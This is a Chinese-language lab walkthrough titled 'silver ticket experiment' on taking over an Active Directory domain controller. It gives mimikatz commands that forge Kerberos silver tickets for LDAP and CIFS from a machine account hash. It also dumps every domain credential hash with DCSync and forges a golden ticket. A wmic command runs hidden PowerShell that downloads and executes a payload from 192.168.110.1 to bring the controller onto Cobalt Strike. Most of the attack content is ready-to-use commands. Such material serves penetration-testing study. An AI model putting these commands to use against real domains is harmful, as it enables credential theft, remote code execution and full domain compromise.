30白银票据-实验

## 域内机器上线域控

```
DC$:b11bfe9b4b21b5878366ec1973ca237f
```

1、查看当前用户所在组

```
net user lm  /domain
```

![](https://oss.maolin101.com/202501061840475.png-101.webp)

2、查看sid值

S-1-5-21-2744095687-1279945619-2928600117

![](https://oss.maolin101.com/202501061840476.png-101.webp)

3、伪造LDAP 服务的白银票据

```
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
```

![](https://oss.maolin101.com/202501061840477.png-101.webp)

![](https://oss.maolin101.com/202501061840478.png-101.webp)

4、使用dcsync技术查询hash值

```
mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv
```

![](https://oss.maolin101.com/202501061840479.png-101.webp)

5、伪造黄金票据

![](https://oss.maolin101.com/202501061840480.png-101.webp)

![](https://oss.maolin101.com/202501061840481.png-101.webp)

6、wmic上线CS

```
shell wmic /node:dc.xbxaq.com  process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
```

![](https://oss.maolin101.com/202501061840482.png-101.webp)

## 工作组机器上线域控

1、查询是否加入域

![](https://oss.maolin101.com/202501061840483.png-101.webp)

2、修改DNS或者hostst文件使得域内域名指向域控

```
netsh interface ipv4 add dns 本地连接 192.168.110.5
```

![](https://oss.maolin101.com/202501061840484.png-101.webp)

3、获取白银票据中所需要的条件，伪造HOST服务，配合Windows服务横向

```
kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 </ptt>
```

```
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:CIFS /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
```

![](https://oss.maolin101.com/202501061840485.png-101.webp)

![](https://oss.maolin101.com/202501061840486.png-101.webp)

4、再伪造一张ladp服务

```
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
```

![](https://oss.maolin101.com/202501061840487.png-101.webp)

5、使用dcsync技术

```
mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv
```

![](https://oss.maolin101.com/202501061840489.png-101.webp)

6、PTH认证 CS上线

![](https://oss.maolin101.com/202501061840490.png-101.webp)

![](https://oss.maolin101.com/202501061840491.png-101.webp)